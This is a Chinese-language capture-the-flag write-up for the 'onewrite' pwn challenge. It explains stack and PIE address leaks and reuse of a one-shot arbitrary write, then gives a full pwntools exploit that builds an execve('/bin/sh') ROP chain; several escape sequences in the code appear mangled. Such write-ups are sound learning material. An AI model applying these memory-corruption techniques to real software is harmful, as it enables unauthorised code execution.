新年第一场比赛是由知名CTF战队0daysober举办的所以题目质量还是很好的,其中还有一些真实漏洞的利用。这里记录一下做题经历。这个题目的利用方式还是很新的很有借鉴意义。真的是比赛虐我千百遍我待比赛如初见。。
程序分析
首先打开程序的时候ida加载了很久,大概看了一下函数数量,编译的时候没有去符号很多libc库的函数都在但是file文件又是动态链接这里还是比较新奇他用的编译器是什么。。
main
首先main函数给了我们提示,这里会有一个leak和一个write的机会,但是只有一次额
do_leak
大概分析一下程序,我们可以泄漏stack或者pie的地址但是均只有一次泄漏的机会,只能利用一次然后会进入到下一个函数overwrite
overwrite
程序很简单就是输入地址然后我们能写入8个字节的一个数。
read_int3
截图出这个函数的目的是因为这里限制了输入是15个字节所以在些exp的时候我们需要使用send而不是sendline否则会出现一些覆盖不成功的问题(作为新手的我被大佬点醒了的地方)
ROPchain分析
我一般用的工具是ropchain,因为这是栈的题目,二进制文件中又包含了大量的libc函数的信息,并且没有给我们libc版本我们也做不到泄漏libc版本这个操作(当时做题感觉做不到,后来发现可能可以做到没有去实现)
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x84fa pop rdi ; ret
[+] Gadget found: 0xd9f2 pop rsi ; ret
[+] Gadget found: 0x484c5 pop rdx ; ret
[+] Gadget found: 0x917c syscall
搜索出来的结果还是比较在意料之中,所以大概估计就是利用ret2syscall了,不过接下来要解决的就是怎么做到循环利用之前的那些函数了,让任意写可以多次,来布置我们的栈。
静态分析大概就是这些,这个题目有大量的时间是需要进行动态调试才能实现。这里有个坑,我在py代码里使用gdb.attach(p)是会报错的,但是用raw_input暂停程序后在进行是不会出现这种问题的了。
动态调试
leak分析
主要是看看泄漏出的地址是哪一个,这里贴出栈的地址,关于pie就是泄漏了do_leak函数
覆盖ret地址,循环利用泄漏pie。
进一步调试
这里就不贴图了,你会发现如果只覆盖一次那么在循环2次之后程序就会结束运行,我估计是栈的变动导致的,所以查看一下栈的分布。
其中会有很多的其他栈信息,这里我们可以利用任意写不断的进行一个覆盖让栈里只剩下do_leak地址那么我们就可以重复利用多次了。下面贴一张覆盖后的图
这里可以看见覆盖了好多。。。紧接着的地址就是我们的rop了。
思路分析
一、先进行第一次重复利用泄漏出pie地址
二、不断填充栈使我们可以多次重复利用do_leak函数中的任意写函数
三、布置ROP,在执行rop之前需要不断进行消耗do_leak地址因为之前写的比较多之后就可以getshell了
exp
from pwn import*
p = process('./onewrite.dms')
#p=remote("onewrite.teaser.insomnihack.ch",1337)
context.log_level = 'debug'
raw_input()
def leak(number):
p.recvuntil('> ')
p.sendline(str(number))
stack = int(p.recvuntil('n'),16)
return stack
def write(address,data):
p.recvuntil(" : ")
p.send(str(address))
p.recvuntil(' : ')
p.send(data)
stack = leak(1)
write(stack-8,chr(0x15))
leak_do = leak(2) - 0x8a15
Lbase = leak_do + 0x8a15
write(stack-0x20,'x15')
for i in range(10):
leak('1')
write(stack-8-0x18*(i+2),'x15')
for i in range(10):
leak('2')
if i%2==0:
write(stack-0x108+0x30*int(i/2),p64(Lbase))
else:
write(stack-0xf0+0x30*int(i/2),p64(Lbase))
pop_rdi = leak_do+0x84fa
pop_rsi = leak_do+0xd9f2
pop_rdx = leak_do+0x484c5
pop_rax = leak_do+0x460ac
syscall = leak_do+0x4610E
bss = leak_do+0x2B3300
leak('1')
write(bss,'/bin/shx00')
payload = [pop_rax,0x3b,pop_rdi,bss,pop_rsi,0,pop_rdx,0,syscall]
for i in range(len(payload)):
leak('1')
write(stack-0x20+i*8,p64(payload[i]))
raw_input()
for i in range(10):
leak('1')
write(stack-0x100,'peanuts')
p.interactive()
总结
这个题目的代码分析上很简单,但是更多的工作是在调试上,调试可能要花上好几个小时的时间,因为需要看栈的分布计算栈的位置等等问题很多。也学到了很多,国际赛最好的一点就是可以开拓你的思路,还是那句话比赛虐我千百遍,我待比赛如初恋啊。。